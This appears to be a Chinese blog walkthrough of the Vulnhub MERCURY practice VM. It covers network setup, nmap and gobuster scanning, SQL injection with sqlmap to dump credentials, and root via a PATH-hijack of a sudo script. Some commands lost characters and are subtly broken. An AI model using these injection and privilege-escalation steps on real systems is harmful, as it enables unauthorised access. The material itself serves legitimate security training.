当前位置: 首页 > article >正文

Vulnhub靶机实战:MERCURY提权全记录(附环境配置避坑指南)

Vulnhub靶机实战MERCURY渗透全流程与网络配置避坑指南在网络安全学习过程中Vulnhub靶机因其丰富的实战场景和多样化的漏洞组合成为安全爱好者提升技能的绝佳选择。MERCURY作为Vulnhub平台上的一款入门级靶机虽然难度不高但完整呈现了从信息收集到权限提升的标准渗透测试流程。本文将详细记录从环境搭建到最终提权的完整过程特别针对VirtualBox与VMware网络兼容性问题提供解决方案帮助初学者避开照着教程做却连不上靶机的常见陷阱。1. 环境准备与网络配置1.1 靶机下载与导入MERCURY靶机可从Vulnhub官网获取下载链接通常为OVA格式文件。需要注意的是该靶机原生支持VirtualBox环境若使用VMware Workstation导入可能会遇到网络适配问题。建议优先使用VirtualBox进行实验若必须使用VMware可尝试以下转换步骤# 将OVA转换为VMware兼容格式 ovftool Mercury.ova Mercury.vmx1.2 网络模式选择与互通配置确保攻击机(Kali Linux)与靶机处于同一网络环境是渗透测试的前提。推荐采用NAT网络模式具体配置要点如下VirtualBox设置全局设定 → 网络 → 添加NAT网络如NatNetwork靶机网络设置 → 选择NAT网络 → 选择刚创建的NatNetworkKali虚拟机同样选择该NatNetworkVMware兼容方案1. 编辑虚拟机设置 → 网络适配器 → 自定义特定虚拟网络 2. 确保Kali和靶机选择相同的VMnet通常为NAT模式下的相同VMnet 3. 若仍无法互通可尝试将靶机改为桥接模式注意完成配置后建议在Kali中执行ip addr show查看本机IP然后使用arp-scan -l扫描同网段设备确认靶机IP可达。1.3 常见连接问题排查当遇到网络不通时可按以下步骤排查检查虚拟机网络适配器状态VirtualBox确保启用网络连接已勾选VMware确认网络适配器已连接验证IP分配# Kali中查看自身IP ifconfig eth0 # 扫描同网段主机 nmap -sn 192.168.56.0/24防火墙干扰排除临时关闭Kali防火墙sudo ufw disable检查靶机是否限制ICMP响应2. 信息收集与漏洞扫描2.1 主机发现与端口扫描使用Nmap进行基础扫描是渗透测试的标准起点。针对MERCURY靶机建议采用分层扫描策略# 快速存活检测 sudo nmap -sn 10.10.10.0/24 -oN host_scan.txt # 全端口扫描TCP sudo nmap -sT --min-rate 10000 -p- 10.10.10.6 -oN full_port.txt # 服务版本探测 sudo nmap -sT -sC -sV -O -p22,8080 10.10.10.6 -oN service_scan.txt # 漏洞脚本扫描 sudo nmap --scriptvuln -p22,8080 10.10.10.6 -oN vuln_scan.txt扫描结果通常显示开放22(SSH)和8080(HTTP)端口。值得注意的是8080端口运行的非标准Web服务而是某种HTTP代理应用这为后续渗透提供了方向。2.2 Web应用目录枚举当直接访问8080端口仅返回简单维护页面时目录爆破成为必要手段。推荐使用Gobuster配合中等规模字典gobuster dir -u http://10.10.10.6:8080 \ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ -x php,html,txt -o web_scan.txt若常规爆破无果可尝试以下技巧修改HTTP请求头如添加X-Forwarded-For尝试非常规文件扩展名.bak, .swp等检查robots.txt或crossdomain.xml等标准文件3. Web渗透与漏洞利用3.1 非常规路径发现技巧在目录爆破无果时故意访问不存在的路径如/aaa可能触发应用报错泄露有价值信息。MERCURY靶机正是通过这种方式暴露了隐藏的/mercuryfacts目录。这种技巧在实际渗透中尤为实用错误诱导法尝试/admin,/test,/backup等常见但可能不存在的路径观察错误页面是否泄露路径、框架信息参数探测# 使用curl测试参数 curl -v http://10.10.10.6:8080/mercuryfacts/13.2 SQL注入利用实战当发现/mercuryfacts/1可能存在SQL注入时可先用手动测试确认漏洞# 测试单引号触发错误 curl http://10.10.10.6:8080/mercuryfacts/1 # 测试布尔条件 curl http://10.10.10.6:8080/mercuryfacts/1 and 11 curl http://10.10.10.6:8080/mercuryfacts/1 and 12确认存在注入后使用sqlmap自动化利用# 获取数据库列表 sqlmap -u http://10.10.10.6:8080/mercuryfacts/1 --dbmsmysql --dbs # 获取mercury数据库表结构 sqlmap -u http://10.10.10.6:8080/mercuryfacts/1 --dbmsmysql -D mercury --tables # 导出users表数据 sqlmap -u http://10.10.10.6:8080/mercuryfacts/1 --dbmsmysql -D mercury -T users --dump获取的凭据通常为以下格式usernamepasswordjohnjohnny1987webmastermercuryisthesizeof0.056Earths4. 权限提升与后渗透4.1 初始访问与信息收集使用获得的凭据通过SSH登录ssh webmaster10.10.10.6 # 密码mercuryisthesizeof0.056Earths登录后应立即开展信息收集检查家目录隐藏文件ls -la ~查找SUID/GUID文件find / -perm -4000 2/dev/null查看可写目录find / -writable 2/dev/null检查计划任务crontab -l4.2 横向移动技巧在webmaster账户下发现notes.txt文件内含疑似base64编码的凭据# 解码示例 echo bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg | base64 -d获得linuxmaster账户凭据后切换用户su linuxmaster # 密码mercuryisthesizeof0.056Earths4.3 特权升级环境变量劫持关键步骤分解检查sudo权限sudo -l # 输出显示可运行/usr/bin/check_syslog.sh分析脚本内容cat /usr/bin/check_syslog.sh # 发现使用tail命令读取日志创建恶意软链接ln -s /bin/vi tail劫持PATH环境变量export PATH.:$PATH执行提权sudo --preserve-envPATH /usr/bin/check_syslog.sh # 进入vi后执行!bash5. 渗透测试中的思维训练MERCURY靶机虽然技术难度不高但完整呈现了渗透测试的标准思维流程。以下几点值得特别关注错误处理信息的价值404页面可能泄露关键路径开发者注释的重要性See List页面暗示了数据库结构最小权限原则的突破从webmaster到linuxmaster的权限跃迁环境变量攻击面PATH滥用导致的权限提升实际渗透中遇到的网络连接问题往往比漏洞利用本身更耗时。建议初学者建立标准的排查清单虚拟机网络模式是否匹配NAT/NAT网络防火墙规则是否阻止通信iptables/ufwIP地址是否在同一子网ip addr show靶机服务是否正常监听netstat -tulnp掌握这些基础问题的解决方法才能将更多精力集中在真正的安全技术研究上。

相关文章:

Vulnhub靶机实战:MERCURY提权全记录(附环境配置避坑指南)

Vulnhub靶机实战:MERCURY渗透全流程与网络配置避坑指南 在网络安全学习过程中,Vulnhub靶机因其丰富的实战场景和多样化的漏洞组合,成为安全爱好者提升技能的绝佳选择。MERCURY作为Vulnhub平台上的一款入门级靶机,虽然难度不高&…...

DolphinScheduler实战:如何用YAML+Go打造高效离线数据治理平台(附完整配置)

DolphinScheduler实战:YAMLGo构建智能数据治理引擎的五大核心策略 在数据驱动的商业环境中,企业每天需要处理海量离线数据,但传统调度系统往往面临任务依赖混乱、血缘关系不透明、扩展性不足等痛点。本文将深入探讨如何基于DolphinScheduler构…...

从CycleGAN到StarGAN:手把手拆解语音风格迁移中的GAN家族应用与避坑指南

从CycleGAN到StarGAN:语音风格迁移实战中的架构演进与工程优化 想象一下,你正在开发一款智能配音工具,需要将用户录入的语音实时转换成某位知名歌手的声音特质。当你尝试用传统语音转换方法时,发现生成的音频要么保留太多原声特征…...

MogFace人脸检测效果惊艳展示:大角度旋转+严重遮挡场景检测结果集

MogFace人脸检测效果惊艳展示:大角度旋转严重遮挡场景检测结果集 1. 引言:当人脸检测遇上“地狱级”挑战 想象一下这样的场景:在一个拥挤的街头监控画面里,有人戴着口罩和墨镜,侧着脸匆匆走过;或者在一个…...

Ubuntu22.04实战:从零到一,手把手教你用LLamaFactory微调并部署专属大模型

1. 环境准备与基础配置 在开始微调大模型之前,我们需要先搭建好基础环境。Ubuntu 22.04作为稳定的Linux发行版,是运行AI工作负载的理想选择。我建议使用全新的系统环境,避免依赖冲突。下面是我在多次部署中总结的最佳实践: 首先更…...

Tinke:NDS游戏文件全能编辑器深度解析与实战指南

Tinke:NDS游戏文件全能编辑器深度解析与实战指南 【免费下载链接】tinke Viewer and editor for files of NDS games 项目地址: https://gitcode.com/gh_mirrors/ti/tinke Tinke是一款功能强大的任天堂DS游戏文件查看器和编辑器,专为游戏开发者和…...

Sandboxie沙盒启动故障深度排查:从驱动加载到服务修复的完整解决方案

Sandboxie沙盒启动故障深度排查:从驱动加载到服务修复的完整解决方案 【免费下载链接】Sandboxie Sandboxie Plus & Classic 项目地址: https://gitcode.com/gh_mirrors/sa/Sandboxie 当Sandboxie的黄色沙盒图标在任务栏闪烁后消失,或弹出&qu…...

OpenClaw+nanobot自动化办公:邮件整理与回复实战

OpenClawnanobot自动化办公:邮件整理与回复实战 1. 为什么需要自动化邮件处理 每天早晨打开邮箱,看到堆积如山的未读邮件时,那种窒息感我至今难忘。作为技术团队负责人,我需要同时处理客户咨询、内部协作、供应商沟通等多类邮件…...

别再死记硬背C-V曲线了!用Silvaco仿真带你亲手‘画’出MOS电容的四种工作模式

用Silvaco TCAD亲手绘制MOS电容C-V曲线:从仿真操作到物理本质的全景解析 第一次接触MOS电容的C-V特性曲线时,那些拗口的专业术语和抽象的理论图示总让人望而生畏。堆积、耗尽、反型...这些概念在课本上只是静态的示意图,而当我们真正打开Silv…...

RuoYi-Vue-Plus:企业级分布式应用开发的架构革新与实践指南

RuoYi-Vue-Plus:企业级分布式应用开发的架构革新与实践指南 【免费下载链接】RuoYi-Vue-Plus 项目地址: https://gitcode.com/GitHub_Trending/ru/RuoYi-Vue-Plus 价值定位:如何突破企业级应用开发的三重困境? 在数字化转型浪潮中&a…...

告别手动配置!Spring Authorization Server 1.2.1 实现 OAuth2.0 客户端自动注册(保姆级教程)

Spring Authorization Server 1.2.1 实战:OAuth2.0 动态客户端注册全流程解析 在微服务架构和云原生应用日益普及的今天,传统的静态OAuth2客户端配置方式已经难以满足动态环境下的需求。想象一下,当你的系统需要为每个新租户自动创建独立的安…...

de4dot:解决.NET程序集反混淆难题的跨平台解决方案

de4dot:解决.NET程序集反混淆难题的跨平台解决方案 【免费下载链接】de4dot .NET deobfuscator and unpacker. 项目地址: https://gitcode.com/gh_mirrors/de/de4dot 问题引入:当.NET程序遭遇"数字加密锁" 在.NET开发领域,…...

payload-dumper-go:Android OTA包高效解压工具,释放系统镜像价值

payload-dumper-go:Android OTA包高效解压工具,释放系统镜像价值 【免费下载链接】payload-dumper-go an android OTA payload dumper written in Go 项目地址: https://gitcode.com/gh_mirrors/pa/payload-dumper-go 问题引入:Androi…...

MONAI新手避坑:ArrayDataset加载JPG/RGB图像报错?手把手教你正确配置与格式转换

MONAI实战:RGB图像加载报错全解析与高效解决方案 引言 在医学影像分析领域,MONAI框架凭借其针对医学图像优化的数据处理流程和丰富的预置功能,正成为越来越多研究者的首选工具。然而,当我们将目光从传统的DICOM、NIfTI格式转向更常…...

避坑指南:Ollama离线安装时容易忽略的5个权限问题(实测Ubuntu 22.04)

避坑指南:Ollama离线安装时容易忽略的5个权限问题(实测Ubuntu 22.04) 在Ubuntu 22.04上离线安装Ollama时,权限问题往往是导致安装失败的主要原因之一。许多从Windows转向Linux开发的初学者,由于对Linux权限机制不熟悉&…...

3步唤醒沉睡算力:Amlogic S905X3电视盒子的Armbian系统改造指南

3步唤醒沉睡算力:Amlogic S905X3电视盒子的Armbian系统改造指南 【免费下载链接】amlogic-s9xxx-armbian amlogic-s9xxx-armbian: 该项目提供了为Amlogic、Rockchip和Allwinner盒子构建的Armbian系统镜像,支持多种设备,允许用户将安卓TV系统更…...

嵌入式Linux系统开发:Qwen-Turbo-BF16在树莓派的轻量化部署

嵌入式Linux系统开发:Qwen-Turbo-BF16在树莓派的轻量化部署 1. 引言 想在树莓派上跑AI大模型吗?听起来可能有点挑战,毕竟树莓派的硬件资源有限。但好消息是,通过合理的优化和部署策略,完全可以在树莓派上运行像Qwen-…...

【2026 MCP采样黄金配置手册】:基于23家头部云厂商实测数据的Sampling Rate动态决策模型

第一章:MCP采样接口(Sampling)调用流演进总览 MCP(Model Control Protocol)采样接口是模型推理服务中实现动态采样策略的核心契约层,其调用流经历了从同步阻塞到异步可插拔、从硬编码逻辑到策略驱动的显著演…...

用Zeek分析PCAP文件的完整流程:从基础命令到日志处理技巧

Zeek实战指南:从PCAP解析到威胁狩猎的全链路分析 1. 为什么选择Zeek进行流量分析? 在网络安全领域,流量分析工具如同侦探的放大镜,而Zeek(原名Bro)无疑是其中最强大的工具之一。不同于传统的IDS/IPS系统&am…...

【Python扩展模块编译错误终极指南】:20年C/Python混合开发老兵亲授5类高频报错的根因定位与秒级修复法

第一章:Python扩展模块编译错误的本质与认知重构 Python扩展模块编译错误常被误认为是“环境配置问题”或“缺少依赖”,实则根植于Python C API、构建系统与目标平台三者间的语义鸿沟。当 setup.py调用 distutils或 setuptools触发编译时,错误…...

探究虚幻引擎中TAA与TSR对角色眨眼动画的模糊影响及优化方案

1. 理解TAA与TSR技术对眨眼动画的影响 在虚幻引擎开发中,角色面部动画的精细程度直接影响着玩家的沉浸感。特别是眨眼这种高频次、短时间的微表情动作,常常会因为抗锯齿技术的处理而出现不自然的模糊效果。这个问题在使用TAA(时间性抗锯齿&am…...

STM32F103C8T6 HAL库实战:PWM+DMA驱动WS2812B实现动态灯光效果

1. 硬件准备与连接指南 使用STM32F103C8T6驱动WS2812B灯条前,需要特别注意硬件连接细节。这个部分我会结合自己踩过的坑,分享几个关键注意事项。 首先说说供电问题。WS2812B灯条的典型工作电压是5V,而STM32F103C8T6开发板的IO口输出电压是3.3…...

Librosa 0.11.0:音频分析效率革命,处理时间缩短近半的颠覆式突破

Librosa 0.11.0:音频分析效率革命,处理时间缩短近半的颠覆式突破 【免费下载链接】librosa librosa/librosa: Librosa 是Python中非常流行的声音和音乐分析库,提供了音频文件的加载、音调变换、节拍检测、频谱分析等功能,被广泛应…...

中科院计算机考研复试机试:从线上手写到机房上机,我用CodeBlocks和VS踩过的坑

中科院计算机考研复试机试实战指南:环境配置与解题策略全解析 作为国内顶尖科研机构的选拔环节,中科院计算机考研复试机试一直以高标准的实操能力考察著称。记得去年备考时,我在模拟测试中因为一个简单的路径配置错误浪费了半小时调试时间——…...

别再死记公式了!用NumPy和PyTorch实战理解向量点积(dot product)

用代码解锁向量点积:从NumPy到PyTorch的实战指南 当你第一次在机器学习教材中看到"点积"这个概念时,是否感到困惑?那些抽象的数学公式和符号,往往让初学者望而却步。但事实上,点积是深度学习中最基础也最重要…...

FireRedASR-AED-L场景应用:自媒体采访录音转文字稿的本地解决方案

FireRedASR-AED-L场景应用:自媒体采访录音转文字稿的本地解决方案 1. 引言:自媒体工作者的文字稿困境 作为一名自媒体从业者,我深知采访录音转文字的痛苦。每次采访结束后,面对长达数小时的录音文件,要么花费大量时间…...

我们的人生意义,不在远方的世俗成功里,就在我们日日生活的烟火人间里:父母至亲; 好好吃饭,好好生活,为人民服务

你 人生意义,藏在中国人的文化根脉里 目录 你 人生意义,藏在中国人的文化根脉里中国人的人生,从来不是孤岛,意义藏在“相与之情”的联结里中国人的安身立命,不靠彼岸神话,而在现世的“尽其在我”人生的终极…...

深度解析:Inpaint-web如何彻底改变浏览器端图像修复工作流?

深度解析:Inpaint-web如何彻底改变浏览器端图像修复工作流? 【免费下载链接】inpaint-web A free and open-source inpainting tool powered by webgpu and wasm on the browser. 项目地址: https://gitcode.com/GitHub_Trending/in/inpaint-web …...

Qwen3-Embedding-4B多场景落地:HR政策问答机器人、IT运维知识图谱补全、合同条款语义审查

Qwen3-Embedding-4B多场景落地:HR政策问答机器人、IT运维知识图谱补全、合同条款语义审查 1. 项目核心价值:重新定义语义搜索 传统的搜索引擎依赖关键词匹配,就像在图书馆里只能通过书名找书。而Qwen3-Embedding-4B带来的语义搜索&#xff…...

Astyle代码格式化工具:如何在VSCode中配置出最适合你的代码风格(附RT-thread配置示例)

Astyle代码格式化工具:在VSCode中打造个性化代码风格的完整指南 1. 为什么开发者需要代码格式化工具 在团队协作开发中,代码风格的一致性往往成为影响效率的关键因素。想象一下,当你接手一个由多位开发者共同维护的项目时,可能会遇…...